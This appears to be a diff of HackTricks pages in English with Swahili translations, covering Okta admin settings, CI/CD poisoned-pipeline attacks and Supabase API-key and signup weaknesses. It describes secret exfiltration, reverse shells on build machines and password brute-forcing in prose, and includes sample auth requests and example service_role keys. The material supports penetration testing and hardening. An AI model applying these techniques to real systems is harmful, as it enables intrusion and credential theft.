- **Mipangilio ya Okta ThreatInsight**: Rekodi na enforce usalama kulingana na kiwango cha tishio
### HealthInsight
Here is possible to find correctly and **dangerous** configured **settings**.
Hapa inawezekana kupata mipangilio iliyowekwa kwa usahihi na **hatari**.
### Authenticators
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
Hapa unaweza kupata njia zote za uthibitishaji ambazo mtumiaji anaweza kutumia: Nenosiri, simu, barua pepe, msimbo, WebAuthn... Ukibonyeza kwenye uthibitishaji wa Nenosiri unaweza kuona **sera ya nenosiri**. Hakikisha kuwa ni imara.
In the **Enrollment** tab you can see how the ones that are required or optinal:
Katika tab ya **Enrollment** unaweza kuona jinsi zile zinazohitajika au za hiari:
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
Inapendekezwa kuzima Simu. Njia zenye nguvu zaidi ni pengine mchanganyiko wa nenosiri, barua pepe na WebAuthn.
### Authentication policies
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
Kila programu ina sera ya uthibitishaji. Sera ya uthibitishaji inathibitisha kuwa watumiaji wanaojaribu kuingia kwenye programu wanakidhi masharti maalum, na inatekeleza mahitaji ya vipengele kulingana na masharti hayo.
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
Hapa unaweza kupata **mahitaji ya kufikia kila programu**. Inapendekezwa kuomba angalau nenosiri na njia nyingine kwa kila programu. Lakini ikiwa kama mshambuliaji unapata kitu dhaifu zaidi unaweza kuwa na uwezo wa kukishambulia.
### Global Session Policy
Here you can find the session policies assigned to different groups. For example:
Hapa unaweza kupata sera za kikao zilizotolewa kwa makundi tofauti. Kwa mfano:
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
Inapendekezwa kuomba MFA, kupunguza muda wa kikao kuwa masaa kadhaa, usiweke cookies za kikao katika nyongeza za kivinjari na upunguze eneo na Mtoa Kitambulisho (ikiwa hii inawezekana). Kwa mfano, ikiwa kila mtumiaji anapaswa kuingia kutoka nchi fulani unaweza kuruhusu tu eneo hili.
### Identity Providers
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
Mtoa Kitambulisho (IdPs) ni huduma ambazo **zinashughulikia akaunti za watumiaji**. Kuongeza IdPs katika Okta kunawawezesha watumiaji wako wa mwisho **kujiandikisha wenyewe** na programu zako maalum kwa kuanza kuthibitisha na akaunti ya kijamii au kadi ya smart.
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
Katika ukurasa wa Mtoa Kitambulisho, unaweza kuongeza logins za kijamii (IdPs) na kuunda Okta kama mtoa huduma (SP) kwa kuongeza SAML ya ndani. Baada ya kuongeza IdPs, unaweza kuweka sheria za kuelekeza watumiaji kwa IdP kulingana na muktadha, kama vile eneo la mtumiaji, kifaa, au kikoa cha barua pepe.
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
**Ikiwa mtoa kitambulisho yeyote amewekwa** kutoka kwa mtazamo wa washambuliaji na walinzi angalia mipangilio hiyo na **ikiwa chanzo ni cha kuaminika kweli** kwani mshambuliaji anayevunja inaweza pia kupata ufikiaji wa mazingira ya Okta.
### Delegated Authentication
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
Uthibitishaji wa wakala unaruhusu watumiaji kuingia katika Okta kwa kuingiza taarifa za kuingia za **Active Directory (AD) au LDAP** ya shirika lao.
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
Tena, angalia hii, kwani mshambuliaji anayevunja AD ya shirika anaweza kuwa na uwezo wa kuhamasisha Okta kwa sababu ya mipangilio hii.
### Network
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
Eneo la mtandao ni mpaka unaoweza kubadilisha ambao unaweza kutumia ili **kutoa au kupunguza ufikiaji wa kompyuta na vifaa** katika shirika lako kulingana na **anwani ya IP** inayotafuta ufikiaji. Unaweza kufafanua eneo la mtandao kwa kubainisha moja au zaidi ya anwani za IP, anuwai za anwani za IP, au maeneo ya kijiografia.
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
Baada ya kufafanua moja au zaidi ya maeneo ya mtandao, unaweza **kuvitumia katika Sera za Kikao za Kimataifa**, **sera za uthibitishaji**, arifa za VPN, na **sheria za kuelekeza**.
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
Kutoka kwa mtazamo wa washambuliaji ni ya kuvutia kujua ni IP zipi zinazoruhusiwa (na kuangalia ikiwa kuna **IPs zenye mamlaka zaidi** kuliko nyingine). Kutoka kwa mtazamo wa washambuliaji, ikiwa watumiaji wanapaswa kufikia kutoka anwani maalum ya IP au eneo angalia kuwa kipengele hiki kinatumika ipasavyo.
### Device Integrations
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- I haven't seen this used yet. TODO
- **Notification services**: I haven't seen this used yet. TODO
- **Usimamizi wa Kituo**: Usimamizi wa kituo ni hali ambayo inaweza kutumika katika sera ya uthibitishaji ili kuhakikisha kuwa vifaa vilivyo na usimamizi vina ufikiaji wa programu.
- Sijawahi kuona hii ikitumika bado. TODO
- **Huduma za Arifa**: Sijawahi kuona hii ikitumika bado. TODO
### API
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
Unaweza kuunda token za Okta API katika ukurasa huu, na kuona zile ambazo zime **undwa**, **mamlaka** zao, muda wa **kuisha** na **URLs za Chanzo**. Kumbuka kuwa token za API zinaundwa kwa ruhusa za mtumiaji aliyekuwa ameunda token hiyo na ni halali tu ikiwa **mtumiaji** aliyekuwa ameunda ni **hai**.
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
**Vyanzo vya Kuaminika** vinatoa ufikiaji kwa tovuti ambazo unadhibiti na kuamini ili kufikia shirika lako la Okta kupitia API ya Okta.
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
Hakupaswi kuwa na token nyingi za API, kwani ikiwa zipo mshambuliaji anaweza kujaribu kuzifikia na kuzitumia.
## Workflow
### Automations
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
Automations zinakuwezesha kuunda vitendo vya kiotomatiki vinavyofanyika kulingana na seti ya masharti ya kichocheo yanayotokea wakati wa mzunguko wa maisha ya watumiaji wa mwisho.
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
Kwa mfano hali inaweza kuwa "Kutokuwepo kwa mtumiaji katika Okta" au "Kuisha kwa nenosiri la mtumiaji katika Okta" na kitendo kinaweza kuwa "Tuma barua pepe kwa mtumiaji" au "Badilisha hali ya maisha ya mtumiaji katika Okta".
## Reports
### Reports
Download logs. They are **sent** to the **email address** of the current account.
Pakua kumbukumbu. Zinatumwa kwa **anwani ya barua pepe** ya akaunti ya sasa.
### System Log
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
Hapa unaweza kupata **kumbukumbu za vitendo vilivyofanywa na watumiaji** kwa maelezo mengi kama kuingia katika Okta au katika programu kupitia Okta.
### Import Monitoring
This can **import logs from the other platforms** accessed with Okta.
Hii inaweza **kuingiza kumbukumbu kutoka majukwaa mengine** yaliyofikiwa na Okta.
### Rate limits
Check the API rate limits reached.
Angalia mipaka ya kiwango cha API iliyofikiwa.
## Settings
### Account
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
Hapa unaweza kupata **taarifa za jumla** kuhusu mazingira ya Okta, kama vile jina la kampuni, anwani, **mwanakandarasi wa barua pepe**, **mwanakandarasi wa kiufundi wa barua pepe** na pia ni nani anapaswa kupokea masasisho ya Okta na ni aina gani ya masasisho ya Okta.
### Downloads
Here you can download Okta agents to sync Okta with other technologies.
Hapa unaweza kupakua wakala wa Okta ili kuunganisha Okta na teknolojia nyingine.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -6,48 +6,48 @@
## VCS
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
VCS inamaanisha **Version Control System**, mfumo huu unawawezesha waendelezaji **kusimamia source code yao**. Ile inayotumika sana ni **git** na kawaida utapata makampuni wakitumia moja ya **platforms** zifuatazo:
- Github
- Gitlab
- Bitbucket
- Gitea
- Gitblit
- Cloud providers (they offer their own VCS platforms)
- Cloud providers (wanatoa VCS platforms zao wenyewe)
## CI/CD Pipelines
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
CI/CD pipelines zinawezesha waendelezaji **ku-automate utekelezaji wa code** kwa madhumuni mbalimbali, ikiwa ni pamoja na ku-build, ku-test, na ku-deploy applications. Hizi workflows zilizo-automated huanzishwa kwa vitendo maalum, kama vile code pushes, pull requests, au tasks zilizopangwa. Zinasaidia kurahisisha mchakato kutoka development hadi production.
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
Hata hivyo, systems hizi zinahitaji **kuendeshwa mahali fulani** na kawaida kwa **credentials zenye privileges ili ku-deploy code au kupata taarifa nyeti**.
## VCS Pentesting Methodology
> [!NOTE]
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
Platforms ambazo zina source code ya project yako zina taarifa nyeti na watu wanapaswa kuwa waangalifu sana na permissions zinazotolewa ndani ya platform hiyo. Hizi ni baadhi ya matatizo ya kawaida kwenye VCS platforms ambayo mshambuliaji anaweza kuyatumia:
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- **Register**: Some platforms will just allow external users to create an account.
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- Compromise the main branch to **compromise production**.
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- **Compromise the pipeline** (check next section)
- **Leaks**: Ikiwa code yako ina leaks katika commits na mshambuliaji anaweza kufikia repo (kwa sababu ni public au kwa sababu ana access), anaweza kugundua leaks hizo.
- **Access**: Ikiwa mshambuliaji anaweza **kupata account ndani ya VCS platform** anaweza kupata **uwazi zaidi na permissions**.
- **Register**: Baadhi ya platforms zinaruhusu watumiaji wa nje tu kuunda account.
- **SSO**: Baadhi ya platforms hazitaruhusu watumiaji kujisajili, lakini zitaruhusu mtu yeyote kuingia kwa SSO halali (kwa hivyo mshambuliaji anaweza kutumia github account yake kuingia kwa mfano).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kuna aina kadhaa za tokens mtumiaji anaweza kuiba ili kupata access kwa repo kwa njia fulani.
- **Webhooks**: VCS platforms zinaweza kuunda webhooks. Ikiwa hazilindwa kwa secrets ambazo hazioniwi, **mshambuliaji anaweza kuzitumia**.
- Ikiwa hakuna secret iliyowekwa, mshambuliaji anaweza kutumia webhook ya platform ya tatu
- Ikiwa secret iko kwenye URL, hivyo ndivyo na mshambuliaji pia atakuwa na secret
- **Code compromise:** Ikiwa mtu mbaya ana aina ya access ya **write** juu ya repos, anaweza kujaribu **kuingiza malicious code**. Ili kufanikiwa anaweza kuhitaji **kupitisha branch protections**. Vitendo hivi vinaweza kufanywa kwa malengo mbalimbali:
- Kufanya compromise main branch ili **kudanganya production**.
- Kufanya compromise main (au matawi mengine) ili **kudanganya machines za developers** (kwa kuwa mara nyingi wanatekeleza tests, terraform au vitu vingine ndani ya repo kwenye machines zao).
- **Compromise the pipeline** (angalia sehemu inayofuata)
## Pipelines Pentesting Methodology
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
Njia ya kawaida ya kuielezea pipeline ni kwa kutumia **CI configuration file iliyohifadhiwa kwenye repository** ambayo pipeline inajenga. File hii inaeleza mfuatano wa jobs zinazotekelezwa, masharti yanayoathiri flow, na settings za build environment.\
Files hizi kawaida zina jina na format thabiti, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na GitHub Actions YAML files ziko chini ya .github/workflows. Wakati zinapoanzishwa, pipeline job **inavuta code** kutoka kwenye source iliyochaguliwa (mfano commit / branch), na **inaendesha amri zilizobainishwa kwenye CI configuration file** dhidi ya code hiyo.
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
Kwa hivyo lengo la mwisho la mshambuliaji ni kwa namna fulani **kuharibu configuration files** hizo au **amri wanazotekeleza**.
> [!TIP]
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
@@ -58,53 +58,53 @@ Therefore the ultimate goal of the attacker is to somehow **compromise those con
### PPE - Poisoned Pipeline Execution
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
The Poisoned Pipeline Execution (PPE) path inatumia permissions katika SCM repository kuharibu CI pipeline na kuendesha amri zenye madhara. Watumiaji walio na permissions zinazohitajika wanaweza kubadilisha CI configuration files au files nyingine zinazotumika na pipeline job ili kujumuisha amri hatarishi. Hii "inafanya pipeline kuwa poisonous", ikisababisha utekelezaji wa amri hizi hatarishi.
For a malicious actor to be successful performing a PPE attack he needs to be able to:
Ili mshambuliaji afanikiwe kufanya shambulio la PPE anatakiwa:
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- Note that sometimes an **external PR count as "write access"**.
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- For this, he might need to be able to **bypass branch protections**.
- Kuwa na **write access kwenye VCS platform**, kwa kawaida pipelines huanzishwa wakati push au pull request inafanywa. (Angalia VCS pentesting methodology kwa muhtasari wa njia za kupata access).
- Kumbuka kwamba wakati mwingine **external PR inaweza kuhesabiwa kama "write access"**.
- Hata kama ana write permissions, anatakiwa kuhakikisha anaweza **kubadilisha CI config file au files nyingine ambazo config inategemea**.
- Kwa hili, anaweza kuhitaji kuwa anaweza **kupitisha branch protections**.
There are 3 PPE flavours:
Kuna aina 3 za PPE:
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
- **D-PPE**: A **Direct PPE** attack hutokea wakati mshambuliaji **anabadilisha CI config** file ambayo itatekelezwa.
- **I-DDE**: An **Indirect PPE** attack hutokea wakati mshambuliaji **anabadilisha** **file** ambayo CI config inategemea (kama make file au terraform config).
- **Public PPE or 3PE**: Katika baadhi ya matukio pipelines zinaweza **kuanzishwa na watumiaji wasiokuwa na write access kwenye repo** (na ambao huenda hata sio sehemu ya org) kwa sababu wanaweza kutuma PR.
- **3PE Command Injection**: Kawaida, CI/CD pipelines zitaweka **environment variables** zenye **tafsiri kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na mshambuliaji (kama title ya PR) na inatumiwa katika sehemu hatari (kama kutekeleza **sh commands**), mshambuliaji anaweza **kuingiza amri ndani yake**.
### Exploitation Benefits
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
Ukijua aina 3 za kuosha pipeline, tuchunguze kile mshambuliaji anaweza kupata baada ya exploitation yenye mafanikio:
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
- **Secrets**: Kama ilivyotajwa awali, pipelines zinahitaji **privileges** kwa jobs zao (kuvuta code, kuijenga, ku-deploy...) na privileges hizi kawaida **hutolewa kama secrets**. Secrets hizi kwa kawaida zinapatikana kupitia **env variables au files ndani ya system**. Kwa hivyo mshambuliaji ataendelea kujaribu kutoa secrets nyingi iwezekanavyo.
- Kulingana na pipeline platform mshambuliaji **anaweza kuhitaji kueleza secrets kwenye config**. Hii inamaanisha ikiwa mshambuliaji hawezi kubadilisha CI configuration pipeline (**I-PPE** kwa mfano), anaweza **kutoa tu secrets ambazo pipeline ina**.
- **Computation**: Code inaendeshwa mahali fulani, kutegemea wapi inatekelezwa mshambuliaji anaweza kuweza pivot zaidi.
- **On-Premises**: Ikiwa pipelines zinaendeshwa on premises, mshambuliaji anaweza kuingia kwenye **internal network yenye access kwa rasilimali zaidi**.
- **Cloud**: Mshambuliaji anaweza kufikia **machines nyingine katika cloud** lakini pia anaweza **kutoa** IAM roles/service accounts **tokens** kutoka humo ili kupata **access zaidi ndani ya cloud**.
- **Platforms machine**: Wakati mwingine jobs zitaendeshwa ndani ya **machines za pipelines platform**, ambazo kwa kawaida ziko ndani ya cloud na **hazina access zaidi**.
- **Select it:** Wakati mwingine **pipelines platform itakuwa ime-configure machines kadhaa** na ikiwa unaweza **kubadilisha CI configuration file** unaweza **onyesha wapi ungependa kuendesha malicious code**. Katika hali hii, mshambuliaji huenda akaendesha reverse shell kwenye kila machine inayowezekana ili kujaribu kuizidisha.
- **Compromise production**: Ukiwa ndani ya pipeline na version ya mwisho inajaribiwa na ku-deploy kutoka kwake, unaweza **kuharibu code itakayokwenda kuendesha production**.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ni zana ya open-source ya kufanya auditing ya software supply chain stack yako kwa security compliance kulingana na mpya [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Auditing inazingatia mchakato mzima wa SDLC, ambapo inaweza kufichua hatari kutoka wakati wa code hadi wakati wa deploy.
### Top 10 CI/CD Security Risk
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Tazama makala hii ya kuvutia kuhusu top 10 CI/CD risks kulingana na Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
- Kwenye kila platform ambayo unaweza kuendesha kwa local utapata jinsi ya kuilanzisha local ili uweze kui-configure kama unavyotaka kuijaribu
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ni zana ya static code analysis kwa infrastructure-as-code.
## References

File diff suppressed because it is too large Load Diff

View File

@@ -1,50 +1,49 @@
# Supabase Security
# Supabase Usalama
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
Kulingana na [**landing page**](https://supabase.com/): Supabase ni mbadala wa Firebase wa open source. Anzisha mradi wako na Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, na Vector embeddings.
### Subdomain
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
Kwa kawaida wakati mradi unaundwa, mtumiaji atapokea supabase.co subdomain kama: **`jnanozjdybtpqgcwhdiz.supabase.co`**
## **Database configuration**
## **Mipangilio ya Database**
> [!TIP]
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
The password is a **password the user put** previously.
Database hii itafunguliwa katika kanda fulani ya AWS, na ili kuungana nayo inawezekana kufanya hivyo kwa kuungana kwa: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (hii iliumbwa katika us-west-1).\
Nenosiri ni **nenosiri ambalo mtumiaji aliweka** hapo awali.
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
Kwa hivyo, kwa kuwa subdomain ni jambo linalojulikana na inatumiwa kama username na kanda za AWS ni chache, inaweza kuwa inawezekana kujaribu **brute force the password**.
This section also contains options to:
Sehemu hii pia ina chaguzi za:
- Reset the database password
- Configure connection pooling
- Configure SSL: Reject plan-text connections (by default they are enabled)
- Configure Disk size
- Apply network restrictions and bans
- Weka upya nenosiri la database
- Sanidi connection pooling
- Sanidi SSL: Kataa plain-text connections (kwa default zimewezeshwa)
- Sanidi ukubwa wa Disk
- Tekeleza vikwazo na marufuku za mtandao
## API Configuration
> [!TIP]
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
URL ya kufikia supabase API katika mradi wako itakuwa kama: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
### anon api keys
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
Itatoa pia **anon API key** (`role: "anon"`), kama: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` ambayo application itahitaji kutumia ili kuwasiliana na API.
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
Inawezekana kupata API REST ya kuwasiliana na API hii katika [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), lakini endpoints zinazovutia zaidi zitakuwa:
<details>
<summary>Signup (/auth/v1/signup)</summary>
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -69,13 +68,11 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
<details>
<summary>Login (/auth/v1/token?grant_type=password)</summary>
<summary>Ingia (/auth/v1/token?grant_type=password)</summary>
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -100,173 +97,165 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
Hivyo, wakati wowote utakapogundua mteja anayetumia supabase na subdomain waliyotolewa (inawezekana kuwa subdomain ya kampuni ina CNAME juu ya subdomain yao ya supabase), unaweza kujaribu **kuunda akaunti mpya kwenye platform kwa kutumia supabase API**.
### secret / service_role api keys
### Ufunguo wa siri / service_role wa API
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
Ufunguo wa API wa siri pia utaundwa na **`role: "service_role"`**. Ufunguo huu wa API unapaswa kubaki siri kwa sababu utaweza kuipita **Row Level Security**.
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
Ufunguo wa API unafanana na huu: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
### JWT Secret
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
Siri ya JWT itaundwa pia ili application iweze **kuunda na kusaini tokeni za JWT maalum**.
## Authentication
### Signups
> [!TIP]
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
> Kwa **chaguo-msingi** supabase itaruhusu **watumiaji wapya kuunda akaunti** kwenye mradi wako kwa kutumia API endpoints zilizotajwa hapo juu.
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
